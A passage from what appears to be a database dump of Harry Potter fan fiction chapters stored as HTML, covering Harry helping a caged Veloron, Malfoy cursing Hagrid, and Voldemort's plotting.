watch.&quot;</p>\n\n<p>&quot; ...Err...err...\nI was looking at the watch rather a long time, when I tried to put the Snitch\naway...&quot;</p>\n\n<p>&quot; Well...\nwe should head into the castle now. It was a good game&quot; she said a smile, &quot;\nWhat was the score? - I forgot&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry picked\nup the cloak and his book bag that he had deposited on the banks of the Quidditch\nfield before they had started to play. &quot; You didn\'t forget... you just\nlike to rub it in that\'s all. 6-4 to you and KATIE&quot;. Harry emphasized the\npart about Katie.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; A win\nis win.... By the way, I was wondering... Are you going to sign up for the\ntournament, the Dueling one? \'Cause I didn\'t see your name up there and the\ndeadline is today at midnight. Professor Pasha made the deadline rather short to make sure only\nthe people interested signup.&quot;</p>\n\n<p>&quot; No. I\'m\njust going to watch it from the sidelines&quot; there was no regret in Harry\'s\nvoice when he said that, so Alicia was interested to know why Harry would not\nwant to enter the tournament. When suddenly she remembered the events of the\nlast year.</p>\n\n<p>&quot; Do you\nthink you could&#8230; I don\'t know&#8230; help me out getting ready for the\ntournament?&quot;</p>\n\n<p>&quot; Sure&#8230;\nwhat do you need help with&quot; he asked.</p>\n\n<p>&quot; I know\na lot of spells and things but I really need someone to practice it on...&quot;</p>\n\n<p>&quot; You\nmean, like a guinea pig?&quot;</p>\n\n<p>&quot; Well\nwhen you say it like that, you make it sound so negative. All you have to do is\njust stand there and let me practice it on you&#8230; oh! that does sound like I\'m\ntesting things on you.&quot;</p>\n\n<p>&quot; Don\'t\nworry&#8230; I don\'t mind being tested on&#8230;&#8221; He said smiling. &#8220; I mean yes I\'ll help\nyou.&quot;</p>\n\n<p>&quot; Good.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>When Harry and\nAlicia walked into the Gryffindor common room everyone was leaving for dinner.\nThey stood to one side of the corridor as the whole house went by. Harry\nreceived many venomous glares from older students while at the same time he\ncould see the very young ones suddenly look up to him like he was a god. When\nthe procession finally ended they went their separate ways. After dinner, the\ntwo played some exploding snaps before retiring to their own dorms.</p>\n\n<p>When Harry\nentered through the door, he was surprised to see that Fred and George were\nwaiting for him&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 29, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 29<br>\n<b>Chapter Name:</b> The Plight of a winged beast</p>\n\n<p>&nbsp;</p>\n\n<p>Right after\ndinner Hermione sat down on her favorite comfortable seat by the fire. As much\nas Ron wanted to join Hermione, he had eaten like a pig at dinnertime so he was\nfeeling drowsy. After about five minutes Hermione let him off the hook and said\ntheir goodbyes. She opened up the book that she got in the library. Just as she\nopened the book up to read it, Harry and Alicia walk into the room.</p>\n\n<p>Her\nexperiences in Morocco had changed her personality slightly...er...no more like going\nfrom a dolphin to a shark. The adventurous and somewhat domineering Hermione\nthat she had come to know over the summer was still very much ruling over her\nmind. The anger she felt towards Harry in the library, came back a hundred fold.\nShe had to restrain herself greatly not to go up to him and beat the living\ndaylights out of him.</p>\n\n<p>She turned the\nbook in her hands several times over as she watched the game of exploding snaps\nprogress. Every time either Alicia or Harry burst into laughter she got more\nand more angry at Harry for getting more than her in Charms. When they finally\nfinished, Hermione quickly opened the book and pretended to read it.</p>\n\n<p>As Harry\npassed Hermione to go to the dorm room he had one glance of Hermione behind the\nbook. His face betrayed a small grin, when he saw that Hermione was holding the\nbook upside down. It took great restraint on Harry\'s part not to tell Hermione\nthat she was reading the book upside down.</p>\n\n<p>Though Harry\nmight have had thought that his inwardly smile had not shown on his face,\nHermione noticed it. Her anger tripled when she realized the reason for Harry\'s\nsmall grin, but she did not turn the book back to the way it was supposed to be\nuntil he left the room. It was as if she was saying to Harry that she intended\nto do that from the beginning. To give herself a challenge.</p>\n\n<p>After a few\nminutes when no one was looking, Hermione turned the book the right side up and\nstarted reading. Inside the cover the first page read...</p>\n\n<p style="text-align:center" align="center"><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>{ Tale of the Saviour } </b></p>\n\n<p style="text-align:center" align="center"><i>A tale of the Harold Parker </i></p>\n\n<p style="text-align:center" align="center"><b>By </b></p>\n\n<p style="text-align:center" align="center"><i>Professor Dippit<br>\n&amp;<br>\nMelina Khan </i></p>\n\n<p style="text-align:center" align="center"><b><i>(c) </i></b><i>Cholera &amp; Sanoe Khan Publishers <br>\nfrom the people that brought you \'Menacing Menace\' and \'Troubled thoughts\'\navailable at a shop near you </i></p>\n\n<p style="text-align:center" align="center">&nbsp;</p>\n\n<p style="text-align:center" align="center">She turned the page over quickly. The pages\nwere all blank! It took a while for her to figure out the reason. Morocco is the most populated Muggleborn\ncity in the world. So the chances of a muggle finding the book accidentally are\nhuge. That is the reason the pages are blank. It reveals its contents when a\nwizard or a witch opens the book with their wand.</p>\n\n<p>Hermione took\nout her wand and tapped the first page of the book. The writing on the page\nshimmered into existence. Hermione did a quick scan through the book to see if\nthere were more pictures of the person on the front cover. There were lots of\npictures in the book but only one of the person on the cover. Hermione\nreluctantly went back to the front of the book and started to read.</p>\n\n<p style="text-align:center" align="center"><b>Foreword</b></p>\n\n<p style="text-align:center" align="center"><i>It may seem like a fairly tale, but heroes do\nexist. They<br>\nexist not for glory, not for fame, but to help others. This<br>\nis book is dedicated to one person who from the beginning<br>\nbelieved that the war sweeping Morocco was indeed one that<br>\nhad been orchestrated by it\'s enemies to bring it down to<br>\nits knees.<br>\n<br>\nHeroes do exist. They exist in places and in people unlike<br>\nwhat you would expect of them to be.<br>\n<br>\nI had the privilege of knowing this man. He called himself<br>\nHarold Parker. His origins unknown. His history unknown.<br>\nThis book does not try to reveal information before his<br>\nappearance in </i><i>Morocco</i><i>, as there is no record of him anywhere.<br>\nHe was a man of mystery when he left </i><i>Morocco</i><i>, but before that<br>\nhe was a boy of curiosity and intrigue.<br>\n<br>\nI was with him through his journey from the first time he<br>\nappeared in </i><i>Morocco</i><i> to when he left forever. This book is the<br>\ntale of what he did when he was there.<br>\n<br>\nMuch of the story is in anecdotal format, but there has been<br>\nno exaggeration of his abilities mentioned here. Definitely<br>\nnot at the beginning nor at the end.<br>\n<br>\nSigned<br>\n</i><b>Professor\nDippet</b></p>\n\n<p style="text-align:center" align="center">&nbsp;</p>\n\n<p>The author\'s\nnote managed to grab all of Hermione\'s attention and she quickly flicked to the\nreal start of the book.</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center"><b>Chapter 1 : Time of his Arrival</b></p>\n\n<p style="text-align:center" align="center"><i>It was a summer morning that he arrived in </i><i>Morocco</i><i>. From what he tells me\nhe was severely injured, when he arrived. He did not mention the specifics of\nhis injuries, but from research done by my assistant revealed that he had\nsevere lacerations to his mid section. Though there are several corroborating\naccounts of him appearing with injuries, they were not seen by the author (me)\nwhen we met.</i></p>\n\n<p style="text-align:center" align="center"><i>This is not the only inconsistency surrounding\nthis man. I call him a man because of his achievement, not because of his age.\nWhen he first appeared he looked no older than sixteen years of age. Even that\nwould be grossly overestimating his age. He had no stubble, nor any body hair\nto speak of. This is the basis of my observation. </i></p>\n\n<p style="text-align:center" align="center"><i>He was well built, as you can tell from the\nonly picture he agreed to take before leaving. He was a \'freeman\', this is a\nterm for those belonging to neither Tozan nor their rival clan of Shoran.\nFreeman such as him or me were looked down upon. Without the backing of either\nof the clans freemen had little chance of fighting back....</i></p>\n\n<p style="text-align:center" align="center"><i>&nbsp;</i></p>\n\n<p>&nbsp;The rest\nof the chapter was boring - even for Hermione. It went on and on about the\nsocio-political situation in both Morocco and the rest of the world. Hermione usually\nwas very interested in that topic, but Harry Potter had ruined her mood. Hermione\ngot tidbits of information on Harold during the next five or six pages.\nFrustrated she decided to read the book when she had more time and felt more\nenergetic. It did not take her long after that to reach her room and sleep like\na log until the next day.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was\nrather surprised to see that two people were waiting for him on the other side\nof the door leading into the boy&#8217;s dorm room. Fred and George came over to\nwhere Harry was and both pushed him up against the wall.</p>\n\n<p>&quot;Hey!&quot;\nsaid Harry, as he got pushed into the wall, &quot; What\'s the meaning of\nthis?&quot; he demanded.</p>\n\n<p>&quot; You\nbetter leave our things alone, Potter.&quot; said George.</p>\n\n<p>&quot; Your\nthings. What things?&quot; Harry asked confused.</p>\n\n<p>&quot; We know\nwhat you&#8217;re playing at before.&quot; this time it was Fred who said the more\nconfusing thing.</p>\n\n<p>&quot; What\'re\nyou talking about?... I don\'t. Know. What. You\'re. Talking. About&quot; said\nHarry, careful to emphasize each word.</p>\n\n<p>&quot; You\nknow perfectly well what we\'re talking about!&quot; insisted a twin.</p>\n\n<p>&quot; If you\ndon\'t stop now ...&quot; started Fred.</p>\n\n<p>&quot;...\nthere\'ll be trouble.&#8221;</p>\n\n<p>.. prank\ntrouble!&quot; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The pair then\nlet Harry go and started to talk to each other about what kind of prank they\nshould do on the Slytherins that night, before heading back to their own dorm\nroom. </p>\n\n<p>Harry still\nhad no idea what just happened. After staring at the direction the twins had\ngone for five minutes Harry finally dismissed the conversation as a new joke\nthe twins had come up with. It took him a while to cast the hardening Charm.\nThough Harry might have had become really good doing the \'Page turning Charm\',\nhe did not have nearly as much control over the charm as he would have had\nliked. The mattress turned very solid. </p>\n\n<p>Almost rock\nhard to his dismay. </p>\n\n<p>After\nreversing the original spell he tried again. This time the mattress was so soft\nthat the top part of it collapsed on the bottom, giving it the appearance of\nbeing nothing more than a flat sheet of cloth. &#8216; This is what happens when I\ntry a simple charm and Hermione is upset with me about my charms mark.\nWomen...go figure... Maybe I should tell her tomorrow... err ... maybe not.&#8217;</p>\n\n<p>Even though\nHarry wanted to tell her at that very second, he decided that it probably made\nmore sense to tell her when she was she was more receptive. It took Harry\nalmost an hour before he got the wand movement and the series of taps done\nperfectly. By the time he was finished he was tired and exhausted. He fell to\nhis bed and dreamed of things.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The next day\nHarry woke up a few minutes before six thirty, but he did not go down to the Quidditch\nfield to do some running. After getting ready for classes in record time, he\nwandered the corridors of schools until he found himself in the great hall.\nThere was no one there but one of the elves. As soon as elf saw Harry it tried\nto make a run for a door, in panic.</p>\n\n<p>Unfortunately,\nfor the elf, the door had other ideas and decided to move two meters to the\nright exactly when the elf reached the door. The elf slammed into the wall with\na loud thud, another followed it when it fell to the floor.</p>\n\n<p>Harry rushed\nto its side to see if it needed help. He kneeled down next to the elf and\nasked, &quot; Are you alright?&quot;</p>\n\n<p>The elf did\nnot answer, rather it scrambled onto its legs and hurriedly tried to get\nthrough the door again. Unfortunately the door seemed have had enjoyed the last\ntrick it played a bit too much and did it again. There was another sickening\nthud when the elf hit the wall. Harry had to use a lot of self-control not to\nlaugh at the poor elf. This time the elf did not get up from the floor. Harry\nwent to it and helped it up.</p>\n\n<p>&quot; Don\'t\nbe afraid. I won\'t hurt you. I\'m Harry Potter. What\'s your name?&quot; If Harry\nhad thought that the elf was scared before, it was even more scared now.</p>\n\n<p>&quot; mm..m.my..y..y\nn..name be Shabby&quot; </p>\n\n<p>&quot; Well\nShabby... It\'s nice to meet you&quot; Harry extended his hand for the elf to\nshake. The elf jumped a step back in horror. Harry quickly took his hand back\nand asked, &quot; Do you know where Dobby is? I need to talk to him...&quot; </p>\n\n<p>&quot; He be\nin the kitchen....&quot;</p>\n\n<p>&quot; Thank\nyou...&quot; he said as Harry started to walk back the secret entrance to the\nkitchen.</p>\n\n<p>Once in the\nkitchen, Dobby was the first person to meet him. He was wearing what probably\npassed as the most expensive item of clothing to the elves. It was a dirty old\nsweater with a million bright coloured patches on it.</p>\n\n<p>&quot; \'Arry\nPotter came to see me..... no?&quot;</p>\n\n<p>&quot; Yes,\nDobby. How\'s the new job going?... Winky back yet?&quot;</p>\n\n<p>&quot; Fine...\nShe\'s still missing. I reckon she\'ll be before tomorrow&quot;</p>\n\n<p>&quot; Ok... I\njust need to talk to her. When she comes make sure she doesn\'t leave. Ok?&quot;</p>\n\n<p>&quot; Yes...sir&quot;</p>\n\n<p>&quot; umm... Dobby\ndo you think I could get some food?&quot;</p>\n\n<p>&quot; yes of\ncourse....&quot; even before Dobby was finished three elves gathered up enough\nfood for him and handed it on a big tray.</p>\n\n<p>&quot; Thank\nyou very much&quot; said Harry as he managed to somehow hold the large tray and\nalso pat Dobby on the back.</p>\n\n<p>Harry did not\nstay long enough to see what effect his pat on the back had on the tiny little\ncreature. Dobby\'s chest swelled to twice its normal size. He started to order\naround the other elves like there was no tomorrow.</p>\n\n<p>Harry started\nto eat the food as we went along the corridor. Hermione was still angry with\nhim and Harry had a feeling that this might last a while... to avoid\nconfrontation with her, Harry decided that he would try and stay away from her\nas possible. It would be difficult since she was in <b><i>all</i></b> his\nclasses. Harry also did not want Ron to have to choose between him and the girl\nhe loved. </p>\n\n<p>The logic\nbehind this was the reasoning was that he thought that, if he avoided both of\nthem the problem might actually blow over. When he finally paid attention to\nhis surroundings, Harry found himself in a very familiar corridor. It was the\none that led right into the infirmary. From his frequent visits Harry was no\nstranger to this part of the castle. &#8216; Might as well visit Neville,&#8217; thought\nHarry to himself.</p>\n\n<p>&nbsp;</p>\n\n<p>When he visited\nthe room, an odd sight greeted him. Neville was trying gently to get his right\nhand away from Pansy who was asleep sitting on a chain next to the bed, and her\nhead against the soft mattress. No matter how many times he tried to gently pry\nopen her hands, she did not seemed to let go. When Neville spotted Harry, he\nmouthed helplessly, &quot; HELP.&quot;</p>\n\n<p>Harry made his\nway quietly into the room and whisper into his ear some instructions. Neville\nsmiled and pretended to go to sleep. Harry went back out into the corridor and\nwalked normally back inside. He gently nudged the sleeping Pansy.</p>\n\n<p>&quot; Pansy...&quot;\nhe said softly. Pansy stirred a bit, before her eyes flew open wide with\nhorror.</p>\n\n<p>&#8216; She probably\nthough Neville was awake,&#8217; thought Harry, as he gently nudged her again.</p>\n\n<p>&quot; It\'s\nme... Harry. Harry Potter.&quot; He whispered. She relaxed a bit, but then\nstarted to blush a lot.</p>\n\n<p>&quot; Oh... I\nfell asleep....&quot; she said, quickly letting go of Neville\'s hand.</p>\n\n<p>&quot; That\'s\nOK. I\'ll stay with him a while...&quot; he then looked at her. She was still\nwearing the same clothes that she was wearing the day before. He continued, &quot;\n...you probably need to do morning things anyway...&quot;</p>\n\n<p>&quot; Yeah...\nthanks&quot; she said, as she headed for the corridor.</p>\n\n<p>Once there,\nshe made a run for her common room. Harry had contemplated talking to her in\nthe hallway, but decided that there was no need for that. Frankly he knew he\nshould say something to her, but he did not know what or how to say it. He went\nover to Neville\'s bed and sat down on the chair.</p>\n\n<p>Harry\nwhispered, &quot; She\'s gone&quot;</p>\n\n<p>Neville sat up\non his bed instantly as I someone had just pinched his bottom, very hard. &quot;\nThanks... I was so scared...&quot;</p>\n\n<p>&quot; I\'ll\njust talk with Madam Pomfrey then I\'ll come back, OK&quot; said Harry as he\nheaded for the small room about ten or twelve beds away. </p>\n\n<p>&nbsp;</p>\n\n<p>It took Harry\nvery little time to comeback. Harry grinned at him and said, &quot; You know\nwhat Madam Pomfrey just told me?&quot;</p>\n\n<p>&quot; What?&quot;\nNeville hoped it was not the news that he was well enough to attend the next\nclass with Hagrid.</p>\n\n<p>&quot; Don\'t\nworry... you don\'t have to go to classes today...&quot; he said noticing the\ntremble in his voice when he had asked the question, &quot; Pansy stayed the\nentire night with you&quot;</p>\n\n<p>&quot; She\ndid... why?&quot; Neville was no longer concerned that Pansy actually scared\nhim.</p>\n\n<p>&quot;\nYesterday she even cried... She thought that she should have had pushed you\naway from the fireball&quot; Harry did not think that Pansy would like it if\nHarry told him that she had a crush on him, so he used the excuse he had heard\nRon use the day before. </p>\n\n<p>&quot; Class\nis about to start in a few minutes&#8230; I have to go. Er... do you want rest of the\nfood on the tray&quot; said Harry pointing at a whole lot of food. Neville\neagerly nodded and started to dig into the food.</p>\n\n<p>&nbsp;</p>\n\n<p>When Harry\narrived at the class he was not surprised to see that no one was there yet, not\neven Hagrid. The only thing there was the large trolley with the cage on top of\nit. It still had the white cloth on it. The threatening growls and noises from\nthe beast could still be heard. Harry was happy that Hagrid had thought of putting\nup signs all around the cage that the cage contained a fire-breathing beast. </p>\n\n<p>Harry did not\nknow, but there were several charms that Hermione had set-up in accordance with\nHagrid\'s wishes to protect younger students from trying to take off the cloth.\nHarry sat down close to the cage and got out the Wizarding comic book that Ron\nhad given him to read. </p>\n\n<p><b>&nbsp;</b></p>\n\n<p>As minutes\nwore on, the screaming of the beast subsided a bit, after a while it was\ntotally gone. When Harry first noticed it there was still ten minutes to the\nclass. He also knew the whole class would try and stay away as long as possible\nafter the events of the day before.</p>\n\n<p>Harry was\nalways a bit too curious for his own good, well this time it was actually a\ngood thing that he was. He edged closer to the cage until he thought he heard\nsoft crying. He cast the most powerful shielding charm that he could produce\naround himself and yanked the cover off the cage.</p>\n\n<p>The beast\ninside snapped and growled at him. Harry did not know what made the beast not\nuse a fireball, but he was glad it did not. Harry looked at the eyes and saw\nsome white silvery tears flowing down. It astounded Harry by saying, &quot;\nThank you&quot;</p>\n\n<p>&quot; You can\ntalk?&quot; he asked. Unknown to him, he was actually speaking in Parseltongue.</p>\n\n<p>&quot; You are\nthe firsssst human,&quot; it said as it rubbed it\'s belly with it\'s wings.</p>\n\n<p>&quot; Why\nwere you crying?... Do you need something? I can tell them... they\'ll give it\nto you.</p>\n\n<p>&quot; My\nchildren where going to die...&quot; said the Veloron, as more tears escaped\nit\'s eyes, &quot; They need light... white bad for my children...&quot;</p>\n\n<p>&quot; I\'ll\ntell the big man. He\'ll make sure you get more light.... If you promise not to\nuse the fireball anymore, I\'m sure Hagrid would let you have lots of\nlight&quot;</p>\n\n<p>&quot; Thankssss.\nWhat is your name?&quot; Harry did not think the creature would know the\nconcept of names, but decided to answer the question.</p>\n\n<p>&quot; Harry\nPotter... Why do you ask?&quot;</p>\n\n<p>&quot; I will\nname two of my offspring after you&quot;</p>\n\n<p>Harry was\nquite taken aback by the gesture. </p>\n\n<p>&quot; Thanks...\nbut there really is no need. I\'m happy to help&quot;</p>\n\n<p>&quot; I\'m\nmagically bound to do so, since I am the female of the speciessss. You have\nsaved my firstbornss. I must repay thisss debt.&quot;</p>\n\n<p>&quot; I am honoured\nthat you choose to do so... er ... do you have a name?&quot; asked Harry as he\nblushed. He had completely forgotten to ask the name of the creature when it\nasked his.</p>\n\n<p>&quot; My name\nis Scaly&quot;</p>\n\n<p>&quot; Well\nScaly... It was an honour meeting you... Have you decided on any other\nnames?&quot;</p>\n\n<p>&quot; No... I\ndo them asss they are born&quot; the creature then seemed to think for a second\nand say, &quot; How do you name yours?&quot;</p>\n\n<p>&quot; excuse\nme&quot; said Harry very confused at the question.</p>\n\n<p>&quot; When a\nhuman offspring is born, how do you name them?&quot;</p>\n\n<p>&quot; Ohh...&quot;\nHarry scratched his head for information on the topic. He had absolutely no\nidea. After think for a while Harry reached a common sense solution to the\nquestion.</p>\n\n<p>&quot; The\nparents discuss the names before they are born&quot;</p>\n\n<p>&quot; What\nare parents?&quot;</p>\n\n<p>&quot; Mates&quot;\nhe answered back.</p>\n\n<p>&quot; I miss\nmy mate. Do you have a mate?&quot; Harry blushed at the question. After all he\nhadn\'t even got to the stage of dating a girl, much less think about things\nbeyond it.</p>\n\n<p>&quot; I\'m\nmuch to young for it&quot;</p>\n\n<p>&quot; I choossssse\nmy mate many moons ago.... Why do those humansss behind you look that way to\nyou?&quot;</p>\n\n<p>Harry\'s head\nsnapped back. He saw that the entire class was there. They all looked very\nterrified of what was happening in front of them. Several of them had wands\npointed straight at the Veloron. </p>\n\n<p>Harry\'s\nhearing came back. </p>\n\n<p>He heard the\nanxious talks between the Gryffindor girls and the cheering of Malfoy and a\nselect bunch of his friends. Ron was kneeling over where he had left the comic\nbook on the morning-frosted grass. When he looked up Harry saw him give a\nvenomous look. &#8216; DAMN! I shouldn&#8217;t have had left the comic on the grass,&#8217;\nthought Harry, realizing why he was giving him that glance)</p>\n\n<p>Harry quickly\nextended his shield around the whole of the cage, before blocking Scaly with\nhis own body. The air around Harry almost crackled like electricity from the\npower that started to emanate from him. It reminded Ron and Hermione the way\nsometimes Professor Dumbledore looked when he was angry.</p>\n\n<p>Harry\'s voice\nwent slightly deep, &quot; Put the wands down&quot;. It was not a request... it\nwas an order.</p>\n\n<p>Everyone\nexcept for Malfoy put their wand down. It looked as though he was getting ready\nto hit Harry with a curse when Hagrid came out of his hut.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 30, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 31<br>\n<b>Chapter Name:</b> Incidents, revelations<b> </b></p>\n\n<p>Malfoy was one\nof the few Slytherins who took their wands out when they saw Harry near the\nserpentine creature. Most of the Gryffindors did the same, but their reasoning were\na world apart. Where Harry&#8217;s house were afraid that Harry was in trouble, Slytherins\nsaw it as an opportunity to hit Harry from the back. It didn&#8217;t matter to them\nthat it would be a cowardly act &#8211; attack from the front or back didn&#8217;t matter,\nthe end result did.</p>\n\n<p>The delight\nthat Malfoy had, for an opportunity to &#8220;help &#8211; and &#8211; accidentally &#8211; hurt &#8211;\nHarry&#8221; in public, was shattered when all but him put their wands down on\nHarry\'s order. </p>\n\n<p>Crabbe and Goyle\ntoo. <i>&#8216; The dunder heads&#8217;.</i></p>\n\n<p>It irked him\nto no end that, even the Slytherins were suddenly taking orders from Harry and\nonly a few months ago the dark lord made his return from beyond the grave. It\nwas an insult to the DarkLord and his holy quest that he wanted to rectify.</p>\n\n<p>He whispered a\ncurse that he had learned a long time ago. </p>\n\n<p>It was light\nmagic, but it was painful none the less. The tip of his wand grew blue when all\nof a sudden Hagrid who had just come behind him turned him around.</p>\n\n<p>&quot; What\nthe hell do yer thin yer do... aaahhh&quot; Hagrid did not get to finish the\nsentence when the blue light from Malfoy\'s wand erupted, sending Hagrid flying\nback a fair few meters through the air. </p>\n\n<p>The ground\nunderneath shook when this happened.</p>\n\n<p>Giants were\nparticularly resilient when it came to curses hurled at them, even two of the\nunforgivable curses ( \'Imperius\' and \'Cruciatus\' ) had no effect on them. Most\nlight and dark magics need to be performed by two or three wizards together, to\nmake a spell work properly. Though Hagrid was only halfgiant, he still was able\nto take the curse in stride... well the pain part anyway.</p>\n\n<p>Several of the\nstudents rushed to where Hagrid was to see if he was all right, while Malfoy\nstood there with panic written all over his face. &quot; Malfoy...&quot; boomed\nHagrid\'s voice across the whole of the school ground, as he got on his feet.\nThe voice was enough for Malfoy to fear for his life. He made a mad dash for\nthe castle. &quot; ... that lil ferret... When I get me hands on \'im I swear\nI\'ll skin \'im alive&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Hagrid then\nturned his focus on to Harry who was still standing in front of the Veloron\ncage. What Hagrid (who was half giant) saw standing in front of him scared him\nenough to take two steps back. </p>\n\n<p>He could see\nwaves of green emanate from Harry\'s body like a halo and just reach the group\nof students in front of him. Giants were blessed with an extra ordinary gift.\nIt was not their size or strength, but they could literally see the magical\npotential inside a person.</p>\n\n<p>Only the\nyesterday, when Harry was in class, Hagrid had noticed that as always Harry\'s\nslight green glow was brighter than the other students. Hermione and Malfoy\nwere the other two on the in the class that had a above average potential, but\nthey were no where close to what Harry had around him self.</p>\n\n<p>The level of\nbrightness reminded him of two very different people. One was the current\nheadmaster of Hogwarts. Brave, cunning and working for the good.</p>\n\n<p>The other was\na man, whose name to this day he could not say without flinching. It was the\nsame man who some fifty odd years ago destroyed his father\'s dream of seeing\nhis halfgiant son become a wizard. The other man was Tom Riddle.</p>\n\n<p>Also known as,\nLord Voldemort.</p>\n\n<p>&nbsp;</p>\n\n<p>When the\nbrightness suddenly flickered away he was surprised. Even Professor Dumbledore,\nwas never able to return to his original brightness so soon. It had two\npossible reasons. Either Harry was very strong or he was too weak to sustain\nhis magical potential.</p>\n\n<p>Hagrid\nsuspected that Harry was too weak to sustain it, but he hoped like hell that\nHarry was actually so strong that he could reduce his magical potential very\neasily. He made a mental note to talk to him later about his. Finally\nrecovering from his shock he said, &quot; Ye OK there \'Arry?&quot;</p>\n\n<p>&quot; Yes!&quot;\nHarry yelled back much to Hagrid\'s relief.</p>\n\n<p>&nbsp;</p>\n\n<p>But it really\nwas a lie as Harry could barely stay in the position that his body was in. He\nprobably would have had fell to the ground right after his magical potential\nwent down, had it not been for Scaly, who had seen her benefactor slowly\nweakening in her defense.</p>\n\n<p>She had grabbed\nhis cloak from the back with her tail and held him in place. It was not a sense\nof self preservation that made her do this. It was simply because she sensed\nthat Harry did not want to show weakness. None of the other students dared get\nany closer to Harry then they already were. They were afraid that the fire breathing\nbeast would harm them. Hagrid slowly made his way to the front of the class.\nHarry whispered to Scaly, &quot; You can let<br>\ngo now... I think I\'m fine. Thanks.&quot;</p>\n\n<p>&quot; No worriesssss....&quot;\nshe replied back.</p>\n\n<p>&quot;\nHagrid...&quot; said Harry when he was close enough.<br>\n&quot; ... what?&quot; he asked gently.<br>\n&quot; Don\'t put the cloth back on again.... It was cold and the babies &#8211; the\nneed the light&#8230; I had to take it offfffff.......&quot; Harry did not get to\nfinish what he had wanted to say as his speech slurred and then suddenly he\nfell to the ground, unconscious.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Across the\nschool grounds and in the castle somewhere near his office, Professor\nDumbledore came to a full stop before a door. He turned to the west side of the\nCastle. He knew what was happening to Harry and he knew the benefits it would\nbring the light side in the upcoming war with Voldemort and his minions. He\nmurmured in a foreboding tone that no one was there to listen to, &quot; So it\nhas finally begun...&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Far from the\ncastle in a place where few dare to travel, Lord Voldemort stopped in the\nmiddle of the imperious curse that he was performing on a helpless muggle man.\nThe man was in mid air doing a back flip, when he suddenly regained control of\nhis own body. He fell to the stone floor and with a loud crack that broke\nseveral of his bones.</p>\n\n<p>&quot; So he\nhas finally started his journey...&quot; said Voldemort.</p>\n\n<p>Someone in his\nplace would have been very afraid of what was happening, but he was positively\nthrilled. He knew that the prophesized battle is another three years away and\nthere\'ll be only one victor. </p>\n\n<p>He made his\nfirst mistake as Lord Voldemort when he fought the prophecy and went after the\nPotters. He had tipped the scale in favor of the boy then and now he was well\nprotected. He had ordered his minions that if they had an opportunity to kill\nPotter not to do it. It was because the prophecy did not say whether the heir\nof Merlin would win or not in his final battle. Voldermort had no intention of\ngiving Harry another opportunity to tip the scales more in favor of the light\nside. </p>\n\n<p>He knew that\nthe only hope he had of defeating Harry was to regain his former powers and\nthat was only possible by creating chaos to mask what he was really doing. He\nlooked at the muggle man on the floor whimpering... but careful not to make too\nmuch noise as he did not want to die soon. Voldemort did not even think as he\nuttered the words, &quot;Avada Kedavra&quot;. The room was illuminated with a\nbright green light for a split second as the spark impacted on the man on the\nfloor, killing him, where he was. Out of misery.</p>\n\n<p>&nbsp;</p>\n\n<p>Two men in\ncloaks quickly came to where the dead muggle was and dragged him away. A strong\nand confident man with a silver hand emerged from the shadows to face his\nmaster. He went on his hands and knees and awaited a signal. </p>\n\n<p>&quot; Rise,&#8221;\nsaid Voldemort, &#8220; What news do you bring from the giants?&quot; His cool voice\nwas sending shivers through his own followers.</p>\n\n<p>&quot; They\nhad an emissary already my lord.&#8221; Voldemort kept his eyes on the ground. &#8220; The\ngrounds keeper from Hogwarts&quot;</p>\n\n<p>&quot; I know of\nhim... they have allied themselves with Dumbledore?&quot;</p>\n\n<p>&quot; Yes, my\nlord. They do not wish to take part in the war.&#8221; </p>\n\n<p>&quot; If they\nare not with us, they are against us.&#8221;</p>\n\n<p>&#8220; What is it\nthat you wish me to do?....&quot;</p>\n\n<p>Voldemort sat\nup. &quot; What did you do them?&quot;</p>\n\n<p>&quot; I took\nmy wards and destroyed their village... we killed three hundred of the<br>\ngiants.... they are a threat no more....&quot; he replied.</p>\n\n<p>&quot; Excellent...\nYou\'ll be rewarded for this.&quot; he hisses.</p>\n\n<p>&quot; I seek\nno reward other than to please you my lord....&quot; Voldemort gave a dry laugh\nat this.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><b>Back in the\ncastle...</b></p>\n\n<p>Neville was\nsleeping peacefully on the bed thinking of things he would like to do to\nProfessor Snape if he was allowed to. Things included Neville being every thing\nfrom a barber (&quot;accidentally killing him while he was sitting on the chair&quot;)\nto being a wild-beast removal person (Snape getting attacked by a supposedly\n&quot;escaped&quot; Manchurian Maneater).... <i>&#8216; or maybe be like that Veloron\nthingy...&#8217;</i></p>\n\n<p>His daydreams\nwere interrupted when Hagrid brought in Harry&#8217;s unconscious body. It was only a\nfew minutes ago that Harry had visited him, and he seemed very well back then. Harry\nsuddenly becoming sick, made Neville worry about his own health. </p>\n\n<p>Hagrid put\nHarry down on the closest bed. Several students in the same class followed him\nin. &quot; Gerr out all yer...&quot; Hagrid said in his booming voice. All the\ngirls promptly left the room, the guys were a bit more 